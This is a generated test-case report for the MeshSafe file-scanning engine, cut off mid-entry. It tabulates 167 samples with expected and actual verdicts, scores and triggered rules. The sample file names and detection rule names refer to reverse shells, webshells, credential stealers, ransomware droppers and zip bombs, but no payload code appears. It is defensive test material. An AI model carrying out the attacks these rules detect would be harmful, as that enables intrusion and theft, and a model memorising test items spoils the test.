- 自动扫描 index.json 全部样本 + 引擎实际判定结果 - 按层级分组 (L0-L5/L7/NEG),每组含汇总表 - 逐条展开 description / 文件大小 / 预期 / 实际 verdict / score / 命中规则详情 - 对账口径: 三段式 tier,167/167 全部通过 100% - 生成时间: 2026-10-29,v0.2.2 基准 - 用途: 后期维护备查,新增用例时追加
138 KiB
MeshSafe 测试用例清单
生成时间: 2026-10-29T11:48:22.953397 目标版本: v0.2.2 用例总数: 167 对账结果: ✅ 167 / ❌ 0 (通过率 100.0%)
汇总
| 层级 | 说明 | 用例数 | 通过 | 失败 |
|---|---|---|---|---|
| L0 | 结构分析(幻数/后缀伪装/嵌套/路径穿越/zip 炸弹) | 27 | 27 | 0 |
| L1 | ClamAV 病毒库扫描 | 25 | 25 | 0 |
| L3 | 关键词匹配(恶意行为特征) | 25 | 25 | 0 |
| L4 | YARA 规则匹配 | 15 | 15 | 0 |
| L5 | PE 二进制静态分析(壳/导入/节/签名) | 20 | 20 | 0 |
| L7 | 历史遗留样本(CSV 之外的真实恶意/误报对照) | 35 | 35 | 0 |
| NEG | 负样本(业务正常文件,应无告警) | 20 | 20 | 0 |
对账口径(三段式 tier)
| 预期 tier | verdict | 实际 tier 要求 |
|---|---|---|
| tier0 | clean / pass | tier ≤ 1(pass 或 suspicious,不能 reject) |
| tier1 | suspicious / review | tier ≥ 1(suspicious 或 malicious 都算过) |
| tier2 | reject / malicious / error | tier = 2(必须 reject / malicious / error) |
L0 — 结构分析(幻数/后缀伪装/嵌套/路径穿越/zip 炸弹)
合计: 27 条,通过 27,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | L0-002 | L0-002_png_normal.png |
58B | pass |
clean |
0.0 | ✅ | - |
| 2 | L0-004 | L0-004_pdf_normal.pdf |
14B | pass |
suspicious |
20.0 | ✅ | MalformedStructure, PdfParseFailed |
| 3 | L0-006 | L0-006_disguise_jpg_pe.jpg |
104B | reject |
reject |
100.0 | ✅ | ExtensionMismatch, ExtensionMismatch |
| 4 | L0-007 | L0-007_disguise_txt_pdf.txt |
14B | review |
reject |
100.0 | ✅ | ExtensionMismatch, MalformedStructure |
| 5 | L0-008 | L0-008_disguise_png_zip.png |
54B | review |
reject |
100.0 | ✅ | ExtensionMismatch, MalformedStructure |
| 6 | L0-009 | L0-009_double_ext_pdf_exe.pdf.exe |
104B | reject |
reject |
100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension, PeParseFailed |
| 7 | L0-010 | L0-010_double_ext_txt_ps1.txt.ps1 |
10B | reject |
reject |
100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
| 8 | L0-011 | L0-011_double_ext_docx_js.docx.js |
11B | reject |
reject |
100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
| 9 | L0-012 | L0-012_double_ext_xlsx_bat.xlsx.bat |
21B | reject |
reject |
100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
| 10 | L0-013 | L0-013_clean.ps1 |
0B | review |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 11 | L0-014 | L0-014_clean.bat |
0B | review |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 12 | L0-015 | L0-015_clean.cmd |
0B | review |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 13 | L0-016 | L0-016_clean.vbs |
0B | review |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 14 | L0-017 | L0-017_clean.js |
0B | review |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 15 | L0-018 | L0-018_zip_traversal.zip |
137B | reject |
malicious |
100.0 | ✅ | PathTraversal, PathTraversalBlocked |
| 16 | L0-019 | L0-019_zip_deep_traversal.zip |
147B | reject |
malicious |
100.0 | ✅ | PathTraversal, PathTraversalBlocked |
| 17 | L0-020 | L0-020_zip_bomb.zip |
2,553,622B | reject |
reject |
100.0 | ✅ | ArchiveBombSuspect, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked |
| 18 | L0-021 | L0-021_small_bomb.zip |
409,802B | reject |
reject |
100.0 | ✅ | ArchiveBombSuspect, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked |
| 19 | L0-022 | L0-022_3layer_nested.zip |
365B | pass |
clean |
0.0 | ✅ | - |
| 20 | L0-023 | L0-023_5layer_nested.zip |
952B | pass |
clean |
0.0 | ✅ | - |
| 21 | L0-024 | L0-024_encrypted.zip |
144B | review |
suspicious |
20.0 | ✅ | EncryptedArchive, ExtractMemberFailed |
| 22 | L0-025 | L0-025_corrupt_zip.zip |
59B | review |
suspicious |
35.0 | ✅ | MalformedStructure, ArchiveBroken |
| 23 | L0-026 | L0-026_corrupt_direntry.zip |
130B | review |
suspicious |
25.0 | ✅ | MalformedStructure |
| 24 | L0-027 | L0-027_long_filename.zip |
519B | review |
suspicious |
5.0 | ✅ | LongFilename |
| 25 | L0-028 | L0-028_unicode_filename.zip |
285B | pass |
clean |
0.0 | ✅ | - |
| 26 | L0-029 | L0-029_zero_byte_exe.exe |
0B | review |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 27 | L0-030 | L0-030_nested_traversal.zip |
647B | reject |
malicious |
100.0 | ✅ | PathTraversal, ArchiveContainsExecutable, PathTraversalBlocked, PathTraversalBlocked |
L1 — ClamAV 病毒库扫描
合计: 25 条,通过 25,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | L1-001 | L1-001_eicar.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 2 | L1-002 | L1-002_eicar_in_zip.zip |
184B | reject |
malicious |
100.0 | ✅ | Eicar-Test-Signature |
| 3 | L1-003 | L1-003_eicar_in_encrypted.zip |
198B | review |
malicious |
100.0 | ✅ | Eicar-Test-Signature |
| 4 | L1-004 | L1-004_eicar_in_docx.docx |
336B | reject |
malicious |
100.0 | ✅ | Eicar-Test-Signature |
| 5 | L1-005 | L1-005_eicar_modified.txt |
68B | pass |
clean |
0.0 | ✅ | - |
| 6 | L1-006 | L0-001_jpg_normal.jpg |
54B | pass |
clean |
0.0 | ✅ | - |
| 7 | L1-007 | L0-003_docx_normal.docx |
281B | pass |
clean |
0.0 | ✅ | - |
| 8 | L1-008 | L0-005_pe_clean.exe |
926B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 9 | L1-009 | L1-009_minimal.cvd |
38B | review |
reject |
100.0 | ✅ | - |
| 10 | L1-010 | L1-010_corrupt.cvd |
30B | reject |
reject |
100.0 | ✅ | - |
| 11 | L1-011 | L1-011_eicar_in_3layer.zip |
412B | reject |
malicious |
100.0 | ✅ | Eicar-Test-Signature |
| 12 | L1-012 | L1-012_eicar_base64.txt |
92B | pass |
clean |
0.0 | ✅ | - |
| 13 | L1-013 | L1-013_bigfile_eicar.txt |
800,070B | review |
suspicious |
35.0 | ✅ | EmbeddedEICAR |
| 14 | L1-014 | L1-014_concurrent_test.txt |
163B | review |
suspicious |
35.0 | ✅ | EmbeddedEICAR |
| 15 | L1-014-00 | L1-014_concurrent_eicar_00.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 16 | L1-014-01 | L1-014_concurrent_eicar_01.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 17 | L1-014-02 | L1-014_concurrent_eicar_02.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 18 | L1-014-03 | L1-014_concurrent_eicar_03.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 19 | L1-014-04 | L1-014_concurrent_eicar_04.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 20 | L1-014-05 | L1-014_concurrent_eicar_05.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 21 | L1-014-06 | L1-014_concurrent_eicar_06.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 22 | L1-014-07 | L1-014_concurrent_eicar_07.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 23 | L1-014-08 | L1-014_concurrent_eicar_08.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 24 | L1-014-09 | L1-014_concurrent_eicar_09.txt |
68B | reject |
malicious |
100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
| 25 | L1-015 | L1-015_layer_off_sample.bin |
68B | review |
malicious |
100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, Eicar-Test-Signature, PeParseFailed |
L3 — 关键词匹配(恶意行为特征)
合计: 25 条,通过 25,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | L3-001 | L3-001_001_sample.ps1 |
77B | reject |
malicious |
100.0 | ✅ | DangerousExecutableExtension, SuspiciousScript, RemoteDownloadPowerShell, Test_PowerShell_Download |
| 2 | L3-002 | L3-002_002_sample.ps1 |
29B | reject |
malicious |
100.0 | ✅ | DangerousExecutableExtension, ReverseShellNetcat, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
| 3 | L3-003 | L3-003_003_sample.bat |
40B | reject |
malicious |
100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
| 4 | L3-004 | L3-004_004_sample.txt |
54B | reject |
malicious |
100.0 | ✅ | CredentialStealer |
| 5 | L3-005 | L3-005_005_sample.txt |
26B | reject |
malicious |
100.0 | ✅ | CredentialExport |
| 6 | L3-006 | L3-006_006_sample.txt |
23B | review |
suspicious |
35.0 | ✅ | RemoteSessionHijack |
| 7 | L3-007 | L3-007_007_sample.txt |
23B | pass |
clean |
0.0 | ✅ | - |
| 8 | L3-008 | L3-008_008_sample.ps1 |
39B | pass |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 9 | L3-009 | L3-009_newline_split.txt |
54B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell |
| 10 | L3-010 | L3-010_010_sample.ps1 |
42B | review |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 11 | L3-011 | L3-011_011_sample.js |
58B | review |
malicious |
100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
| 12 | L3-012 | L3-012_012_sample.bat |
34B | review |
malicious |
100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
| 13 | L3-013 | L3-013_normal_scp.sh |
118B | pass |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 14 | L3-014 | L3-014_l3001_in_zip.zip |
177B | review |
malicious |
100.0 | ✅ | ArchiveContainsExecutable, RemoteDownloadPowerShell, Test_PowerShell_Download |
| 15 | L3-015 | L3-015_keyword_in_docx.docx |
316B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download |
| 16 | L3-016 | L3-016_016_sample.ps1 |
0B | pass |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 17 | L3-017 | L3-017_017_sample.txt |
39B | review |
malicious |
100.0 | ✅ | ReverseShellNetcat, CredentialStealer |
| 18 | L3-018 | L3-018_018_sample.txt |
34B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell |
| 19 | L3-019 | L3-019_unicode_obfuscated.txt |
35B | pass |
clean |
0.0 | ✅ | - |
| 20 | L3-020 | L3-020_log_with_keyword.log |
163B | reject |
malicious |
95.0 | ✅ | C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
| 21 | L3-021 | L3-021_021_sample.eml |
89B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download |
| 22 | L3-022 | L3-022_layer_off_sample.bin |
57B | review |
malicious |
100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, RemoteDownloadPowerShell, Test_PowerShell_Download, PeParseFailed |
| 23 | L3-023 | L3-023_keyword_in_encrypted.zip |
139B | review |
malicious |
100.0 | ✅ | CredentialStealer |
| 24 | L3-024 | L3-024_024_sample.txt |
100,035B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell |
| 25 | L3-025 | L3-025_whitelist_test.txt |
87B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download |
L4 — YARA 规则匹配
合计: 15 条,通过 15,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | L4-001 | L4-001_001_sample.txt |
85B | review |
malicious |
100.0 | ✅ | ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic |
| 2 | L4-002 | L4-002_002_sample.txt |
42B | pass |
clean |
0.0 | ✅ | - |
| 3 | L4-003 | L4-003_pe_with_string.exe |
928B | review |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 4 | L4-004 | L4-004_multi_rule_match.txt |
128B | review |
malicious |
100.0 | ✅ | RemoteDownloadPowerShell, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic, Test_PowerShell_Download |
| 5 | L4-005 | L4-005_005_sample.txt |
153B | review |
suspicious |
10.0 | ✅ | Newly_Added_Rule_Test |
| 6 | L4-006 | L4-006_bad_syntax_rule.yar |
43B | review |
reject |
100.0 | ✅ | ExtensionMismatch |
| 7 | L4-007 | L4-007_meta_rule_match.txt |
21B | review |
suspicious |
10.0 | ✅ | Meta_Label_Test |
| 8 | L4-008 | L4-008_in_zip.zip |
183B | review |
malicious |
100.0 | ✅ | ReverseShellNetcat, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
| 9 | L4-009 | L4-009_yara_in_encrypted.zip |
150B | pass |
clean |
0.0 | ✅ | - |
| 10 | L4-010 | L4-010_010_sample.txt |
165B | review |
malicious |
100.0 | ✅ | ReverseShellPowershell, Regex_Shell_Pattern |
| 11 | L4-011 | L4-011_count_condition.txt |
140B | review |
suspicious |
10.0 | ✅ | Count_Condition_Test |
| 12 | L4-012 | L4-012_size_condition.bin |
29B | review |
reject |
100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed |
| 13 | L4-013 | L4-013_bigfile_yara.txt |
2,000,118B | review |
malicious |
100.0 | ✅ | C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_NC, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic |
| 14 | L4-014 | L4-014_layer_off_sample.bin |
21B | review |
reject |
100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed |
| 15 | L4-015 | L4-015_hash_whitelist.txt |
19B | pass |
clean |
0.0 | ✅ | - |
L5 — PE 二进制静态分析(壳/导入/节/签名)
合计: 20 条,通过 20,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | L5-001 | L5-001_clean_hello.exe |
926B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 2 | L5-002 | L5-002_upx_shell.exe |
926B | review |
malicious |
100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
| 3 | L5-003 | L5-003_double_upx.exe |
926B | review |
malicious |
100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
| 4 | L5-004 | L5-004_rwx_section.exe |
926B | reject |
malicious |
100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
| 5 | L5-005 | L5-005_injection_imports.exe |
928B | reject |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 6 | L5-006 | L5-006_single_virtualalloc.exe |
928B | review |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 7 | L5-007 | L5-007_garbage_section.exe |
926B | review |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 8 | L5-008 | L5-008_many_exports.exe |
928B | review |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 9 | L5-009 | L5-009_shell_in_resource.exe |
928B | review |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 10 | L5-010 | L5-010_bad_mz.exe |
2,048B | review |
reject |
100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed |
| 11 | L5-011 | L5-011_truncated.exe |
308B | review |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 12 | L5-012 | L5-012_pe32.exe |
926B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 13 | L5-013 | L5-013_pe64.exe |
926B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 14 | L5-014 | L5-014_clean_tool.exe |
926B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 15 | L5-015 | L5-015_bad_reloc.exe |
928B | review |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 16 | L5-016 | L5-016_zero_sections.exe |
376B | review |
malicious |
75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
| 17 | L5-017 | L5-017_upx_rwx.exe |
926B | review |
malicious |
100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
| 18 | L5-018 | L5-018_debug_info.exe |
926B | review |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 19 | L5-019 | L5-019_200mb_huge.exe |
1,026B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 20 | L5-020 | L5-020_layer_off_sample.bin |
928B | review |
reject |
100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, RWXSectionDetected, PEArchInfo |
L7 — 历史遗留样本(CSV 之外的真实恶意/误报对照)
合计: 35 条,通过 35,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | L7-001 | broken.zip |
125B | clean |
clean |
0.0 | ✅ | - |
| 2 | L7-002 | evil.iso |
32,775B | suspicious |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 3 | L7-003 | evil_help.chm |
1,691B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, ChmWithScript, RemoteDownloadUnix |
| 4 | L7-004 | linux_malicious |
71B | malicious |
malicious |
100.0 | ✅ | LinuxExecutable, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic |
| 5 | L7-005 | lolbin.cmd |
114B | suspicious |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, CommandExecutionObfuscated |
| 6 | L7-006 | macro_alert.docm |
2,586B | malicious |
malicious |
100.0 | ✅ | VBAAutoExecShell, RemoteDownloadPowerShell, RemoteDownloadUnix |
| 7 | L7-007 | malicious.desktop |
114B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, DesktopFileAutoExec, DesktopFileAutoExec, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic |
| 8 | L7-008 | malicious.pdf |
534B | malicious |
malicious |
100.0 | ✅ | PdfOpenAction, PdfJavaScript |
| 9 | L7-009 | miner_config.json |
123B | suspicious |
suspicious |
45.0 | ✅ | C7_Linux_Miner_Generic |
| 10 | L7-010 | normal.pdf |
439B | clean |
clean |
0.0 | ✅ | - |
| 11 | L7-011 | normal_deploy.sh |
155B | suspicious |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 12 | L7-012 | normal_readme.txt |
162B | clean |
clean |
0.0 | ✅ | - |
| 13 | L7-013 | normal_report.docx |
1,212B | clean |
clean |
0.0 | ✅ | - |
| 14 | L7-014 | ole_dropper.doc |
1,641B | suspicious |
suspicious |
35.0 | ✅ | OleToolsUnavailable, RemoteSessionHijack |
| 15 | L7-015 | pe_downloader.exe |
1,148B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, C1_PE_Downloader_Loader, PeParseFailed |
| 16 | L7-016 | pe_injection.exe |
1,129B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, RemoteSessionHijack, C1_PE_ProcessInjection, PeParseFailed |
| 17 | L7-017 | persist_cron.sh |
95B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, ShellScriptDangerous, Txt.Malware.Sustes-6779550-1, RemoteDownloadUnix, C7_Linux_Persistence_Crontab |
| 18 | L7-018 | phishing.eml |
1,869B | reject |
reject |
100.0 | ✅ | EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailAttachmentDangerous, EmailAttachmentDangerous, EmailAttachmentDisguised, EmailAttachmentDangerous, EmailAttachmentWebshell |
| 19 | L7-019 | photo.jpg.php |
29B | reject |
reject |
100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
| 20 | L7-020 | ransom_dropper.exe.txt |
215B | reject |
malicious |
100.0 | ✅ | C8_Ransomware_Encryption, C8_Ransomware_Note_Filename, C8_Ransomware_VolumeShadow |
| 21 | L7-021 | sealed.docx |
6,656B | reject |
reject |
100.0 | ✅ | MalformedStructure, OfficeEncrypted, OoxmlParseFailed, ArchiveBroken |
| 22 | L7-022 | sealed.xlsx |
6,656B | reject |
reject |
100.0 | ✅ | ExtensionMismatch, MalformedStructure, OfficeEncrypted, OoxmlParseFailed, ArchiveBroken |
| 23 | L7-023 | shell_aspx.aspx |
169B | reject |
reject |
100.0 | ✅ | DangerousExecutableExtension |
| 24 | L7-024 | shell_bash_devtcp.sh |
51B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic |
| 25 | L7-025 | shell_jsp_runtime.jsp |
316B | reject |
reject |
100.0 | ✅ | DangerousExecutableExtension, C3_JSP_Webshell_RuntimeExec |
| 26 | L7-026 | shell_nc.sh |
42B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
| 27 | L7-027 | shell_php_eval.php |
40B | reject |
reject |
100.0 | ✅ | DangerousExecutableExtension, C3_PHP_Webshell_Oneliner |
| 28 | L7-028 | shell_php_obf.php |
61B | reject |
reject |
100.0 | ✅ | DangerousExecutableExtension, C3_PHP_Webshell_Obfuscated |
| 29 | L7-029 | shell_python.py |
211B | suspicious |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 30 | L7-030 | shortcut.lnk |
143B | suspicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
| 31 | L7-031 | template_backdoor.docx |
2,176B | malicious |
malicious |
100.0 | ✅ | AttachedTemplate |
| 32 | L7-032 | vba_autoexec.bas |
98B | malicious |
malicious |
100.0 | ✅ | VBAAutoExecShell, RemoteDownloadUnix |
| 33 | L7-033 | wps_macro.js |
142B | malicious |
malicious |
100.0 | ✅ | DangerousExecutableExtension, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic |
| 34 | L7-034 | zip_traversal.zip |
164B | malicious |
malicious |
100.0 | ✅ | PathTraversal, PathTraversalBlocked |
| 35 | L7-035 | neg_tmp1.zip |
22B | clean |
clean |
0.0 | ✅ | - |
NEG — 负样本(业务正常文件,应无告警)
合计: 20 条,通过 20,失败 0
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|---|---|---|---|---|---|---|---|---|
| 1 | NEG-001 | NEG-001_clean.jpg |
204B | pass |
clean |
0.0 | ✅ | - |
| 2 | NEG-002 | NEG-002_clean.png |
208B | pass |
clean |
0.0 | ✅ | - |
| 3 | NEG-003 | NEG-003_clean.mp4 |
212B | pass |
clean |
0.0 | ✅ | - |
| 4 | NEG-004 | NEG-004_clean.docx |
281B | pass |
clean |
0.0 | ✅ | - |
| 5 | NEG-005 | NEG-005_clean.xlsx |
275B | pass |
clean |
0.0 | ✅ | - |
| 6 | NEG-006 | NEG-006_clean.pdf |
14B | pass |
suspicious |
20.0 | ✅ | MalformedStructure, PdfParseFailed |
| 7 | NEG-007 | NEG-007_clean.java |
94B | pass |
clean |
0.0 | ✅ | - |
| 8 | NEG-008 | NEG-008_clean.py |
73B | pass |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 9 | NEG-009 | NEG-009_clean.zip |
285B | pass |
clean |
0.0 | ✅ | - |
| 10 | NEG-010 | NEG-010_clean.exe |
104B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 11 | NEG-011 | NEG-011_clean.log |
90B | pass |
clean |
0.0 | ✅ | - |
| 12 | NEG-012 | NEG-012_clean.csv |
52B | pass |
clean |
0.0 | ✅ | - |
| 13 | NEG-013 | NEG-013_clean.eml |
121B | pass |
clean |
0.0 | ✅ | - |
| 14 | NEG-014 | NEG-014_clean.dll |
104B | pass |
suspicious |
55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
| 15 | NEG-015 | NEG-015_clean.ttf |
204B | pass |
clean |
0.0 | ✅ | - |
| 16 | NEG-016 | NEG-016_clean.dwg |
206B | pass |
clean |
0.0 | ✅ | - |
| 17 | NEG-017 | NEG-017_4layer_nested.zip |
142B | pass |
suspicious |
35.0 | ✅ | MalformedStructure, ArchiveBroken |
| 18 | NEG-018 | NEG-018_clean.bat |
71B | pass |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 19 | NEG-019 | NEG-019_clean.ps1 |
75B | pass |
suspicious |
30.0 | ✅ | DangerousExecutableExtension |
| 20 | NEG-020 | NEG-020_clean.odt |
277B | pass |
clean |
0.0 | ✅ | - |
逐条详情
展开每条用例的 description / 命中规则详情 / 发现列表
L0
✅ L0-002 — L0-002_png_normal.png
- 描述: 正常文件幻数识别-PNG
- 文件大小: 58 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L0-004 — L0-004_pdf_normal.pdf
- 描述: 正常文件幻数识别-PDF
- 文件大小: 14 B
- 预期:
pass - 实际:
suspicious(score=20.0, action=pass_with_flag) - 判定理由: 风险评分 20.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
MalformedStructure |
20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 |
document |
L2 |
low |
PdfParseFailed |
0.0 | PDF 解析失败:startxref not found |
✅ L0-006 — L0-006_disguise_jpg_pe.jpg
- 描述: jpg 后缀 + 实际 PE MZ 头
- 文件大小: 104 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .jpg,实际内容为 MS-DOS executable, MZ for MS-DOS(.exe) |
structure |
L0 |
critical |
ExtensionMismatch |
85.0 | 伪装扩展名:声明 .jpg,真实 .exe |
✅ L0-007 — L0-007_disguise_txt_pdf.txt
- 描述: 后缀伪装:txt后缀,实际PDF幻数
- 文件大小: 14 B
- 预期:
review - 实际:
